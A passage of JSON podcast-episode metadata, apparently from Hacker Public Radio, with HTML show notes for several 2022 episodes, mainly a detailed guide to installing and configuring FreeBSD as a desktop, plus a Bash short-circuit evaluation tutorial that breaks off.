                                                                • Dave is thinking about installing a BSD flavour on his, but doesn’t use it often. It currently has CrunchBang installed.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Telegram:\n
                                                                \n
                                                              • Dave runs it on his desktop (and laptop) as well as two phones. The phones run KDE Connect and are configured to tell the desktop when a message arrives!
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • HPR New Year show:\n
                                                                \n
                                                              • HonkeyMagoo (of the Linux LUGCast podcast) does a lot of the work with the recording in conjunction with Ken. He divides up the audio into shows, and in past years has prepared show notes.
                                                              • \n
                                                              • This year a LUGCast listener HPLovecraft did the notes, and they are very good!
                                                              • \n
                                                            • \n
                                                            \n

                                                            Postscript

                                                            \n

                                                            MrX found the Easter Egg, mentioned during our chat, on his Psion Series 3C, recorded it via Audacity, and sent me the resulting Easter Ogg! It has been appended to the main recording.

                                                            \n

                                                            Links

                                                            \n\n\n\n\n
                                                              \n
                                                            • Instant Messaging:\n
                                                                \n
                                                              • Telegram\n
                                                                  \n
                                                                • Owned by a Russian billionaire.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n
                                                            \n
                                                              \n
                                                            1. Donkey Lane is a public right of way, possibly since the 1700’s. It starts as a pedestrian-only pathway then turns into a narrow tarmac-covered roadway with a pedestrian-only railway crossing.↩︎

                                                            2. \n
                                                            \n
                                                            \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"chat, old technology, organiser","version":0,"downloads":0,"valid":1}, {"id":3703,"date":"2022-10-12","title":"McCurdy House Tour","duration":767,"summary":"operat0r brings us on a House Tour","notes":"

                                                            CL4P-TP Claptrap Borderlands Lego Bricklink
                                                            \nhttps://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.pdf
                                                            \nhttps://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.xml

                                                            \n

                                                            Lightsabers (get mystery box or whatever boneyard etc because much cheaper if you really just want programable full pixel blade)
                                                            \nhttps://www.crimsondawn.com/products/mystery-box?variant=33206141681741

                                                            \n

                                                            I paid $268USD for Neopixel Proffie ( I think it's all xenopixel stuff nowadays ): https://darkwolfsabers.com/shop/ols/products/rgb-baslix-saber/v/RGB-BSL-SBR-NPX-PRF

                                                            \n

                                                            RGB's from LGT Store (60-70$)
                                                            \nhttps://www.aliexpress.com/store/1101560967

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"ASMR","version":0,"downloads":0,"valid":1}, {"id":3704,"date":"2022-10-13","title":"Follow up to hpr3685 :: Budget and an Android app","duration":104,"summary":"I add a calendar to the budget spreadsheet in LibreOffice","notes":"

                                                            Follow up on hpr3685 :: Budget and an Android app

                                                            \n

                                                            I added a calendar from OpenOffice.org

                                                            \n

                                                            OpenOffice.org Template

                                                            \n

                                                            \"Copying

                                                            \n

                                                            \"Copying

                                                            \n

                                                            \"Switching

                                                            \n

                                                            \"Form

                                                            \n

                                                            Budget sample with a calendar in LibreOffice (Download link)

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Budget, spreadsheet, LibreOffice, OpenOffice","version":0,"downloads":0,"valid":1}, {"id":3705,"date":"2022-10-14","title":"The Year of the FreeBSD Desktop","duration":4155,"summary":"I talk about configuring FreeBSD as a desktop OS and give tips for those coming from Linux","notes":"

                                                            Getting an installer

                                                            \n

                                                            Link to FreeBSD downloads

                                                            \n

                                                            Choose the correct arch for your system. amd64 is probably the one you want if you know nothing about computer architectures.

                                                            \n

                                                            you will have a lot of options:

                                                            \n
                                                              \n
                                                            • *-bootonly.iso is a netinstall image that is for burning to a CD
                                                            • \n
                                                            • *-disc1.iso is a supplementary CD image for *-bootonly.iso
                                                            • \n
                                                            • *-dvd1.iso is a complete DVD image with extra packages
                                                            • \n
                                                            • *-memstick.img is a complete image for burning to a USB stick
                                                            • \n
                                                            • *-mini-memstick.img is a netinstall image for burning to a USB stick
                                                            • \n
                                                            \n

                                                            I typically download and use one of the compressed memstick images. The mini image is fine but you probably want the regular memstick image if this is the first time you've ever installed FreeBSD. It alleviates some of the stress that comes with installing wireless drivers.

                                                            \n

                                                            To burn a memstick image, use the disk destroyer program:

                                                            \n
                                                            root@fbsd# xunz FreeBSD-13.1-RELEASE-amd64-memestick.img.xz\nroot@fbsd# sudo dd if=./FreeBSD-13.1-RELEASE-amd64-memestick.img of=/dev/sdx status=progress\nroot@fbsd# sudo eject /dev/sdx\n
                                                            \n
                                                            \n

                                                            Initial installation

                                                            \n

                                                            pre-installation

                                                            \n

                                                            The standard steps for installing Linux apply:

                                                            \n
                                                              \n
                                                            1. disable secure boot
                                                            2. \n
                                                            3. enable USB booting
                                                            4. \n
                                                            5. select boot device at startup time
                                                            6. \n
                                                            \n

                                                            Because this is hardware specific, it's a homework assignment for the audience.

                                                            \n

                                                            Installation

                                                            \n

                                                            FreeBSD has a menu driven installer that walks the user through various steps:

                                                            \n

                                                            1. set keymap (leave default if you don't know)

                                                            \n

                                                            2. set hostname

                                                            \n

                                                            3. select sets

                                                            \n

                                                            There are many sets to choose from. New users probably want to install all of them. I typically only install the lib32 set and add the rest later.

                                                            \n

                                                            4. Partitioning

                                                            \n

                                                            bsdinstall makes it easy to partition your drives. The Auto(ZFS) option is probably what you want as the default UFS configuration is unjournaled.

                                                            \n

                                                            In the Auto(ZFS) menu, for a single hard drive installation, you want to stripe one disk. Select your hard drive.

                                                            \n

                                                            If you want full disk encryption, select the Encrypt Disks option.

                                                            \n

                                                            You also want to bump up the swap size to ram*1.5 as a general rule (so, for 4g of ram you will set 6g of swap, for 8g or ram you set 12g swap). If you selected Encrypt Disks, you should also select Encrypt Swap

                                                            \n

                                                            When you are done, proceed with the installation. You will gt a confirmation message asking if you want to destroy the disk(s) you selected. This is your last chance to go back.

                                                            \n

                                                            If you selected Encrypt Disks, you will be presented with a password prompt. This is the disk encryption password, not any user password.

                                                            \n

                                                            5. Wait for sets to install

                                                            \n

                                                            6. Configure root user

                                                            \n

                                                            After the sets are installed, you will set a root password.

                                                            \n

                                                            7. Network Config

                                                            \n

                                                            If your wireless card is supported, all the hard parts are already done for you. If your wireless card is not supported, you might need to plug in an ethernet cable and compile the drivers into the kernel.

                                                            \n

                                                            Select your card (em* is ethernet, wifi cards are named after their drivers)

                                                            \n

                                                            If you choose wifi, the installer will scan for networks and give you a menu to select one. If the network is encrypted, you will be presented with a password prompt.

                                                            \n

                                                            8. Time and date setup

                                                            \n

                                                            9. Service setup

                                                            \n

                                                            You will be presented with a menu that enables/disables services on system startup. You probably want all of them except local_unbound.

                                                            \n

                                                            10. Security config

                                                            \n

                                                            The next menu enables/disables security features. If nothing else, select disable_sendmail and clear_tmp

                                                            \n

                                                            11. Add users

                                                            \n

                                                            Simply add your user. You might want to add him to the wheel group if you plan on using sudo. I set my shell to tcsh but you can always change this later. A

                                                            \n

                                                            12. Final configuration

                                                            \n

                                                            You may want to install the handbook or modify any configurations you've made so far. This will take some time. When you are done, apply the config and exit.

                                                            \n

                                                            13. Manual config

                                                            \n

                                                            Before you reboot the system and exit the installer, you are given a last opportunity to make any manual configurations. This is rarely needed for the average desktop user.

                                                            \n

                                                            Post installation

                                                            \n
                                                            \n

                                                            What, no GUI?

                                                            \n
                                                            \n

                                                            Update system

                                                            \n

                                                            Login as root and update the system:

                                                            \n
                                                            root@fbsd# freebsd-update fetch\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\n
                                                            \n

                                                            Installing packages

                                                            \n

                                                            Before we begin modifying the system, we need a better editor.

                                                            \n

                                                            The pkg utility is used in a nearly identical way to any Linux package manager. The syntax pkg $verb $object persists. Verbs include install, remove, update, upgrade, search, etc.

                                                            \n

                                                            Because the only editors installed by default are vi, ed, and ee, let's install vim.

                                                            \n

                                                            There are multiple vim flavors, I like vim-tiny.

                                                            \n
                                                            root@fbsd# pkg bootstrap\nroot@fbsd# pkg update\nroot@fbsd# pkg search vim\nroot@fbsd# pkg install vim-tiny\n
                                                            \n

                                                            We probably want sudo (or doas) also:

                                                            \n
                                                            root@fbsd# pkg install sudo\nroot@fbsd# visudo\n
                                                            \n

                                                            Find the line that says:

                                                            \n
                                                            # %wheel ALL=(ALL:ALL) ALL\n
                                                            \n

                                                            and move the # from the beginning of the line to enable the wheel group to do actions as root.

                                                            \n

                                                            Bootloader tweaks

                                                            \n

                                                            We can tweak the bootloader to make the system more desktop-like. Edit /boot/loader.conf

                                                            \n
                                                            # /boot/loader.conf\n# -----------------\n[ lots of default stuff ]\n\n# custom stuff\n\n# boot faster\nautoboot_delay=2\n
                                                            \n

                                                            Refer to loader.conf(5) for more tweaks and /boot/defaults/loader.conf for examples.

                                                            \n

                                                            init tweaks

                                                            \n

                                                            We can tweak the init system also. Edit /etc/rc.conf

                                                            \n
                                                            # /etc/rc.conf\n# -----------------\n[ lots of default stuff ]\n\n# enable graphics\nkld_list="i915kms"\n\n# faster booting\nbackground_dhclient="YES"\n
                                                            \n

                                                            See rc.conf(5) and /etc/defaults/rc.conf for more information on what you can do.

                                                            \n

                                                            Snapshotting a sane fresh installation

                                                            \n

                                                            At this point, it is wise to take a recursive snapshot of your FreeBSD installation. This provides us with an easy way to roll back to a fresh, known working system configuration.

                                                            \n
                                                            root@fbsd# zfs snapshot -r zroot@freshinstall\nroot@fbsd# zfs list - tsnapshot\n
                                                            \n

                                                            If the system becomes unrepairable, we can simply rollback instead of reinstalling with a simple command:

                                                            \n
                                                            root@fbsd# zfs rollback -r zroot@freshinstall\n
                                                            \n

                                                            To rollback every dataset, we can use xargs:

                                                            \n
                                                            root@fbsd# zfs list -t snapshot | grep freshinstall | cut -d ' ' -f 1 | xargs -I % zfs rollback %\n
                                                            \n

                                                            Using zfs snapshots before and after making any potentially dangerous configuration changes saves a lot of headache in the long run because zfs is accessible from the recovery shell. Rollback with caution, user data may be lost.

                                                            \n

                                                            Homework assignment: write a series of cron jobs that automatically takes snapshots (and cleans up the old ones) of user data as a form of last line of defense version control

                                                            \n
                                                            \n

                                                            Graphical user interfaces

                                                            \n

                                                            Install graphics drivers

                                                            \n

                                                            This varies depending on your GPU.

                                                            \n
                                                            root@fbsd# pkg install drm-kmod\n
                                                            \n

                                                            After installing this package, you will see a message on how to enable the driver for your specific hardware:

                                                            \n
                                                            For amdgpu: kld_list="amdgpu"\nFor Intel: kld_list="i915kms"\nFor radeonkms: kld_list="radeonkms"\n
                                                            \n

                                                            To enable one of these, you will need to add a line to your /etc/rc.conf. The earlier you place this line in the file, the sooner the kmods will load. For intel graphics, for example, you will add the following line:

                                                            \n
                                                            # /etc/rc.conf\n# -----------------\n[ lots of other stuff ]\n\n# intel graphics drivers\nkld_list="i915kms"\n
                                                            \n

                                                            To load the kmod on the fly (for larger resolution vt), run:

                                                            \n
                                                            root@fbsd# kldload i915kms\n
                                                            \n

                                                            You will also need to add your non-root user to the video group.

                                                            \n
                                                            root@fbsd# pw groupmod video -m $user\n
                                                            \n

                                                            Audio

                                                            \n

                                                            (hopefully) audio will just work. Supported audio interfaces are enumerated in man snd(4) and details on enabling/disabling drivers in /boot/lodaer.conf are also explained.

                                                            \n

                                                            To manage volume, use the mixer command. For example, setting the mic volume to 50% and the speaker volume to 95%:

                                                            \n
                                                            user@fbsd% mixer mic 50:50\nuser@fbsd% mixer vol 95:95\n
                                                            \n

                                                            The mixertui command can also be used. This program functions similarly to alsamixer on Linux.

                                                            \n

                                                            Depending on your hardware, the volume keys on your keyboard might not work. Adding a keybinding to a shell script is the usual solution and should be familiar to anyone who uses a desktop free window manager.

                                                            \n

                                                            Getting xorg

                                                            \n
                                                            root@fbsd# pkg install xorg\n
                                                            \n

                                                            The twm window manager is included with xorg by default. We can use it for testing our xorg configuration, mouse support, etc before continuing with larger desktop environments. Early troubleshooting always prevents foot shooting. Test early, test often.

                                                            \n
                                                            root@fbsd# startx\n
                                                            \n

                                                            Desktop Environments

                                                            \n

                                                            Refer to The handbook's instructions on desktops for instructions on non-suckless (ie suckmore setups). I have tested some of them on FreeBSD. KDE and Xfce are reliable. GNOME is mostly reliable. If you are running a big DE, you might have to modify polkit rules to do things like reboot the system from the GUI. Many larger desktops rely on FreeDesktop.org components. I personally do not like dbus so instead I use the suckless tools.

                                                            \n

                                                            But, for the sake of completeness, I will install a few for the masses. I installed each one of these independently and sequentially on the same system using zfs snapshots to roll back to a bare bones system without any DE installed.

                                                            \n

                                                            GNOME

                                                            \n
                                                            root@fbsd# pkg install gnome\nroot@fbsd# printf 'proc\\t/proc\\tprocfs\\trw\\t0\\t0\\n' >> /etc/fstab\nroot@fbsd# sysrc dbus_enable="YES"\nroot@fbsd# sysrc gdm_enable="YES"\nroot@fbsd# sysrc gnome_enable="YES"\nroot@fbsd# reboot\n
                                                            \n

                                                            \"Gnome

                                                            \n

                                                            KDE

                                                            \n
                                                            root@fbsd# pkg install kde5 sddm\nroot@fbsd# printf 'proc\\t/proc\\tprocfs\\trw\\t0\\t0\\n' >> /etc/fstab\nroot@fbsd# sysrc dbus_enable="YES"\nroot@fbsd# sysrc sddm_enable="YES"\nroot@fbsd# reboot\n
                                                            \n

                                                            \"KDE

                                                            \n

                                                            Xfce

                                                            \n
                                                            root@fbsd# pkg install xfce xfce4-goodies\nroot@fbsd# sysrc dbus_enable="YES"\n
                                                            \n

                                                            Xfce does not provide it's own login manager, unlike GNOME or KDE. Let's pick lightdm because it's small and the graphical toolkit matches Xfce.

                                                            \n
                                                            root@fbsd# pkg install lightdm-gtk-greeter\nroot@fbsd# sysrc lightdm_enable="YES"\nroot@fbsd# reboot\n\n
                                                            \n

                                                            \"Xfce

                                                            \n

                                                            Suckless

                                                            \n

                                                            suckless: tools that suck less.

                                                            \n

                                                            This is how I use FreeBSD (and how I use most computers). I wrote a makefile that modifies the compile options so that the tools will build on FreeBSD and (optionally) adds the theme I use. You can find my suckless duct tape in this git repo.

                                                            \n

                                                            I also use xdm because it's small and fast.

                                                            \n
                                                            user@fbsd% sudo pkg install xdm\nuser@fbsd% sudo service xdm enable\n
                                                            \n

                                                            \"Suckless

                                                            \n

                                                            A final note on desktops

                                                            \n

                                                            Sometimes desktops behave unexpectedly on FreeBSD (ie users cannot manage power settings, reboot the system, etc). Make sure your login user is in the wheel group (it's your computer, you probably are already in the wheel group) and most of the issues will be resolved. For users you don't want in the wheel group, you'll need to write a few polkit rules.

                                                            \n

                                                            Additionally, big desktops are typically compiled without the graphical components for modifying network connections.

                                                            \n

                                                            Similar to Arch or Gentoo, there is a bit of legwork left to the end user. You'll never know what you might learn about systems administration if you don't wilfully give yourself the opportunity.

                                                            \n

                                                            Shell tweaks

                                                            \n

                                                            I like colors in the shell for systems I use regularly. I also like aliases. We can modify our csh configuration file to automatically do the fancy for us.

                                                            \n
                                                            # ~/.cshrc\n# -----------------\n[ lots of stuff ]\n\n# prompt section\nif ($?prompt) then\n    # An interactive shell -- set some stuff up\n    #set prompt = "%N@%m:%~ %# "\n    #set prompt = "%{\\033[31m%}%N@%m:%~ %#%{\\033[0m%} "\n    set prompt = "%{\\033[1m%}%N@%m:%~ %#%{\\033[0m%} "\n    set promptchars = "%#"\n\n    set filec\n    set history = 1000\n    set savehist = (1000 merge)\n    set autolist = ambiguous\n    # Use history to aid expansion\n    set autoexpand\n    set autorehash\n    set mail = (/var/mail/$USER)\n\n    if ( $?tcsh ) then\n        bindkey "^W" backward-delete-word\n        bindkey -k up history-search-backward\n        bindkey -k down history-search-forwarrd\n        bindkey "^R" i-search-back\n    endif\nendif\n\n# alias section\nalias la    ls -aF\nalias lf    ls -FA\nalias ll    ls -lAF\nalias ls    ls -GF\nalias lc    ls -GF\n
                                                            \n

                                                            Some other packages

                                                            \n

                                                            The things I like:

                                                            \n
                                                            user@fbsd% sudo pkg install firefox gimp feh mpv ffmpeg ImageMagick7 mutt newsboat\n
                                                            \n

                                                            If you install a large DE, most of the applications are pulled in as well. If not, you can always use xargs to pull in hundreds of gigabytes of programs:

                                                            \n
                                                            user@fbsd% sudo pkg search $desktop | cut -d ' ' -f 1 | xargs sudo pkg install -y\n
                                                            \n

                                                            Going GNU:

                                                            \n
                                                            user@fbsd% sudo pkg install coreutils emacs bash gcc gmake\n
                                                            \n

                                                            Do a few package searches. What you want is probably there. If not, time to start porting :)

                                                            \n

                                                            Once you have everything configured how you want it, it's a good time to take another zfs snapshot.

                                                            \n
                                                            \n

                                                            Quickstart

                                                            \n

                                                            Init system

                                                            \n

                                                            Instead of systemd, FreeBSD uses rc scripts for starting and stopping services. Everything is pretty much shell scripts. To modify the startup process, you simply edit /etc/rc.conf in a text editor.

                                                            \n

                                                            For systemctl like starting/stopping/enabling, you can do the following:

                                                            \n
                                                            root@fbsd# service sshd enable\nroot@fbsd# service sshd start\nroot@fbsd# service sshd restart\nroot@fbsd# service sshd stop\nroot@fbsd# service sshd disable\nroot@fbsd# service sshd onestart\nroot@fbsd# service sshd status\n
                                                            \n

                                                            Each service has it's own init file so sometimes a specific service might take different arguments than the standard ones you might expect.

                                                            \n

                                                            Networking

                                                            \n

                                                            Network interfaces are configured classically using ifconfig(8). If you want a network interface to persist across reboots, you add the information in /etc/rc.conf.

                                                            \n

                                                            WiFi is managed with wpa_supplicant. Refer to man wpa_supplicant.conf(8) for more information.

                                                            \n

                                                            Firewall

                                                            \n

                                                            use the pf firewall, I like it

                                                            \n

                                                            General upgrade process

                                                            \n
                                                            root@fbsd# pkg update && pkg upgrade\nroot@fbsd# freebsd-update upgrade -r 13.1-RELEASE\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\nroot@fbsd# freebsd-update install\nroot@fbsd# pkg update && pkg upgrade\nroot@fbsd# freebsd-update install\nroot@fbsd# reboot\n
                                                            \n

                                                            Shells

                                                            \n

                                                            FreeBSD uses tcsh(1) as the default shell and includes sh(1) for bourne-like compatibility. You can install bash if you want.

                                                            \n

                                                            Package management

                                                            \n

                                                            There are two primary ways of managing software: binary packages and ports. Don't mix them if you don't know what you're doing, it can cause problems.

                                                            \n

                                                            To be brief: ports are like Gentoo. You spend a lot of time watching compiler output. The following programs help: synth, portmaster, poudriere.

                                                            \n

                                                            to be verbose: here is a quick guide on using the binary package management system:

                                                            \n
                                                            pkg update\npkg upgrade\npkg search foobar\npkg install foobar\npkg remove foobar\npkg autoremove\n
                                                            \n

                                                            As you can see, the syntax is nearly identical to dnf or apt.

                                                            \n

                                                            Filesystem

                                                            \n

                                                            The hierarchy of FreeBSD is slightly different than a typical Linux system. Refer to man hier(7) for more information.

                                                            \n

                                                            The biggest difference is that FreeBSD a logically organized system. For example: On Linux, everything seems to end up in /bin (which is a symlink to /usr/bin). Additionally, /sbin is just a symlink to /usr/sbin. On FreeBSD, the system is more organized. For example:

                                                            \n

                                                            /bin contains everything required to boot the system and /sbin contains everything required for fundamental administration.

                                                            \n

                                                            /usr/bin contains most everything else

                                                            \n

                                                            /usr/local contains everything installed by the package management system.

                                                            \n

                                                            User installed programs are configured in /usr/local/etc. This might be confusing at first but you'll get the hang of it.

                                                            \n

                                                            This logical separation might cause confusion when compiling software from source on FreeBSD but it's not too difficult to solve if you already know how about linker options and makefile modification.

                                                            \n

                                                            As for filesystems, apparently ext2, ext3, and ext4 have read/write support using the ext2fs(5) driver. I probably wouldn't boot from them but this exists. UFS is not journaled by default, proceed with caution. ZFS is very good.

                                                            \n

                                                            ZFS non-starter

                                                            \n

                                                            ZFS is cool because we can create partitions on a whim. Here is some shell output demonstrating listing datasets, creating datasets with a quota, destroying datasets, creating and using encrypted datasets, etc.

                                                            \n
                                                            root@freebsd:/ #\nroot@freebsd:/ # zfs list\nNAME                                        USED  AVAIL     REFER  MOUNTPOINT\nzroot                                      3.97G   434G       96K  /zroot\nzroot/ROOT                                 3.82G   434G       96K  none\nzroot/ROOT/13.1-RELEASE_2022-09-18_143644     8K   434G     1.07G  /\nzroot/ROOT/default                         3.82G   434G     3.71G  /\nzroot/tmp                                   208K   434G      112K  /tmp\nzroot/usr                                   157M   434G       96K  /usr\nzroot/usr/home                              157M   434G      157M  /usr/home\nzroot/usr/ports                              96K   434G       96K  /usr/ports\nzroot/usr/src                                96K   434G       96K  /usr/src\nzroot/var                                  1.04M   434G       96K  /var\nzroot/var/audit                              96K   434G       96K  /var/audit\nzroot/var/crash                              96K   434G       96K  /var/crash\nzroot/var/log                               424K   434G      300K  /var/log\nzroot/var/mail                              192K   434G      128K  /var/mail\nzroot/var/tmp                               160K   434G       96K  /var/tmp\nroot@freebsd:/ # zfs list -t snapshot\nNAME                                                     USED  AVAIL     REFER  MOUNTPOINT\nzroot@freshinstall                                        64K      -       96K  -\nzroot/ROOT@freshinstall                                    0B      -       96K  -\nzroot/ROOT/13.1-RELEASE_2022-09-18_143644@freshinstall     0B      -     1.07G  -\nzroot/ROOT/default@2022-09-18-14:36:44-0                76.7M      -     1.07G  -\nzroot/ROOT/default@freshinstall                         35.0M      -     1.21G  -\nzroot/tmp@freshinstall                                    96K      -      112K  -\nzroot/usr@freshinstall                                     0B      -       96K  -\nzroot/usr/home@freshinstall                               96K      -      128K  -\nzroot/usr/ports@freshinstall                               0B      -       96K  -\nzroot/usr/src@freshinstall                                 0B      -       96K  -\nzroot/var@freshinstall                                     0B      -       96K  -\nzroot/var/audit@freshinstall                               0B      -       96K  -\nzroot/var/crash@freshinstall                               0B      -       96K  -\nzroot/var/log@freshinstall                               124K      -      188K  -\nzroot/var/mail@freshinstall                               64K      -       96K  -\nzroot/var/tmp@freshinstall                                64K      -       96K  -\nroot@freebsd:/ # zfs create zroot/crypt\nroot@freebsd:/ # zfs set quota=5g zroot/crypt\nroot@freebsd:/ # zfs list zroot/crypt\nNAME                                        USED  AVAIL     REFER  MOUNTPOINT\nzroot/crypt                                  96K  5.00G       96K  /zroot/crypt\nroot@freebsd:/ # zfs destroy zroot/crypt\nroot@freebsd:/ # zfs create -o encryption=on -o keylocation=prompt -o keyformat=passphrase zroot/crypt\nEnter new passphrase:\nRe-enter new passphrase:\nroot@freebsd:/ # zfs list zroot/crypt\nNAME                                        USED  AVAIL     REFER  MOUNTPOINT\nzroot/crypt                                 200K   434G      200K  /zroot/crypt\nroot@freebsd:/ # touch /zroot/crypt/supersecret\nroot@freebsd:/ # ls /zroot/crypt/\nsupersecret\nroot@freebsd:/ # zfs get encryption zroot/crypt\nNAME         PROPERTY    VALUE        SOURCE\nzroot/crypt  encryption  aes-256-gcm  -\nroot@freebsd:/ # zfs unmount zroot/crypt\nroot@freebsd:/ # zfs unload-key -r zroot/crypt\n1 / 1 key(s) successfully unloaded\nroot@freebsd:/ # zfs mount zroot/crypt\ncannot mount 'zroot/crypt': encryption key not loaded\nroot@freebsd:/ # zfs get keystats zroot/crypt\nroot@freebsd:/ # zfs get keystatus zroot/crypt\nNAME         PROPERTY   VALUE        SOURCE\nzroot/crypt  keystatus  unavailable  -\nroot@freebsd:/ # zfs load-key -r zroot/crypt\nEnter passphrase for 'zroot/crypt':\nzfs 1 / 1 key(s) successfully loaded\nroot@freebsd:/ # zfs mount -a\nroot@freebsd:/ # ls /zroot/crypt/\nsupersecret\n
                                                            \n
                                                            \n

                                                            A conclusion

                                                            \n

                                                            Really, I think FreeBSD is a viable desktop operating system for the types of people who already use Linux in a terminal-centric capacity. After all, UNIX is UNIX.

                                                            \n
                                                            \n

                                                            Other stuff

                                                            \n

                                                            Running Firefox inside of a jail

                                                            \n

                                                            Another way to run Firefox inside of a jail

                                                            \n

                                                            FreeBSD Distros that come with a desktop out of the box:

                                                            \n

                                                            GhostBSD - FreeBSD with MATE

                                                            \n

                                                            HelloSystem - FreeBSD with an Apple-like GUI (still in development)

                                                            \n

                                                            MidnightBSD - FreeBSD with Xfce and a different package management system

                                                            \n

                                                            NomadBSD - Live GUI FreeBSD with OpenBoX

                                                            \n
                                                            \n

                                                            Additional Links

                                                            \n

                                                            Linux to FreeBSD quick start:
                                                            \nhttps://klarasystems.com/articles/easily-migrate-from-linux-to-freebsd/
                                                            \n
                                                            \nSupported hardware:
                                                            \nhttps://wiki.freebsd.org/Laptops
                                                            \nhttps://bsd-hardware.info/
                                                            \nhttps://dmesgd.nycbug.org/index.cgi

                                                            \n\n

                                                            Editor's Note: This section was included from the comment sent by binrc.

                                                            \n","hostid":406,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"FreeBSD","version":0,"downloads":0,"valid":1}, {"id":3706,"date":"2022-10-17","title":"The Future of Technology","duration":3054,"summary":"A philosophical look at the future of technology.","notes":"

                                                            Brady and I discuss people and technology; where it was, where we are, and where we are going. Put on your philosophy hats!

                                                            \n

                                                            Podcast Stuff:

                                                            \n\n

                                                            Picks of the Week:

                                                            \n

                                                            Brady's Picks

                                                            \n\n

                                                            Robert's Pick:

                                                            \n\n

                                                            Cool Shit:

                                                            \n\n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"cybersecurity,security,EvilSteve,socialmedia,technology,philosophy,future","version":0,"downloads":0,"valid":1}, {"id":3707,"date":"2022-10-18","title":"Recovering a Massive 3.5 HP Electric Motor from a Treadmill","duration":1006,"summary":"Retrieval of future robot parts in the field","notes":"

                                                            Figure 1 - trash
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 2 - close-up
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 3 - screen
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 3 - parts collected
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 5 - scrap iron
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 6 - size comparison
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n","hostid":401,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"beam,righttorepair,robots,mechatronics","version":0,"downloads":0,"valid":1}, {"id":3708,"date":"2022-10-19","title":"Insomnia as a Hobby","duration":466,"summary":"Fighting insomnia? Enjoy it...with a few tricks!","notes":"

                                                            I struggle with insomnia, instead of dreading it - I rather enjoy it now...here's how!

                                                            \n","hostid":389,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"insomnia,podcasts,librivox","version":0,"downloads":0,"valid":1}, {"id":3709,"date":"2022-10-20","title":"Relationships to games and console generations","duration":568,"summary":"Some ramblings about what next generation consoles used to mean to games, gamers and game developers","notes":"

                                                            I talk about my views on how much of an impact technological jumps\nused to make on gaming in previous decades vs this decade.

                                                            \n","hostid":412,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Video Games, Game Consoles","version":0,"downloads":0,"valid":1}, {"id":3710,"date":"2022-10-21","title":"Changing Plans Again","duration":1262,"summary":"One more trip change, then on the road","notes":"

                                                            Once again we had to change plans due to some health issues that were not serious but had to be dealt with. But we finally got on the road and started traveling.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, trip planning","version":0,"downloads":0,"valid":1}, {"id":3711,"date":"2022-10-24","title":"Cars","duration":2042,"summary":"A short review of Cars today","notes":"

                                                            Car company

                                                            \n\n","hostid":377,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Cars, EV's, Terrorists, Hydrogen, Fusion, Power Systems","version":0,"downloads":0,"valid":1}, {"id":3712,"date":"2022-10-25","title":"The last ever CCHits.net Show","duration":5756,"summary":"The team talk about the nearly 12 years of producing CCHits.net.","notes":"

                                                            Over 12 years ago, Jon \"The Nice Guy\"\nSpriggs went to a \"Pod Crawl\" with (among others) Dave \"The Love Bug\" Lee, where he\npitched the idea of a daily music promotion show, with a twist - it\nwould all be automated, and use text-to-speech to introduce\neverything.

                                                            \n

                                                            The first show was released\non 2010-10-24 and the last ever show (this one) was released on\n2022-10-12.

                                                            \n

                                                            Over the twelve years, Jon would go on to meet to meet Yannick and Ken Fallon, both\nof whom would go on to shape changes (big and small) to CCHits.

                                                            \n

                                                            This year, the cracks started to re-appear in the architecture\nunderneath CCHits - between APIs shutting down that were used to load\ntracks to CCHits, and the general framework being used to write CCHits\nnot receiving the care and attention it needed... and the team finally\ndecided to stop adding new tracks, and let the process build the last\nfew shows.

                                                            \n

                                                            This podcast gives you a peek behind the curtain to the team involved\nin the system, and gives you some of the high- and low-lights in the 12\nyears the site ran for.

                                                            \n","hostid":413,"series":0,"explicit":0,"license":"CC-BY","tags":"music,creative commons,podcast","version":0,"downloads":0,"valid":1}, {"id":3713,"date":"2022-10-26","title":"Bash snippet - short-circuit evaluation in Bash Boolean expressions","duration":1000,"summary":"Found I could do this in Bash, so wanted to share!","notes":"
                                                            \n

                                                            Preamble

                                                            \n

                                                            This is a case where I came upon a thing in Bash I had never considered before and was pleased and surprised that there was a way of doing what I wanted to do! If this is completely obvious to you, apologies, but it wasn’t to me!

                                                            \n

                                                            Overview

                                                            \n

                                                            Many programming languages have the concept of short-circuit evaluation in Boolean expressions. What this means is that in an expression such as:

                                                            \n
                                                            A AND B
                                                            \n

                                                            if A is false then the whole expression must be false, and B doesn’t have to be evaluated. That is because both arguments to AND have to be true for the overall result to be true.

                                                            \n

                                                            If A is true on the other hand, then B has to be evaluated to determine if the overall result is true.

                                                            \n

                                                            Similarly with:

                                                            \n
                                                            A OR B
                                                            \n

                                                            if A is true then the whole expression must be true and B can be skipped without evaluation. This is because only one argument to OR needs to be true to return a true result.

                                                            \n

                                                            If A is false on the other hand, then B has to be evaluated to determine if the overall result is false.

                                                            \n

                                                            Both of these expressions are evaluated from left to right. This is not a given in all languages. Some use special operators such as 'and_then' and 'or_else' which explicitly perform short-circuiting and left-to-right evaluation.

                                                            \n

                                                            Definition

                                                            \n

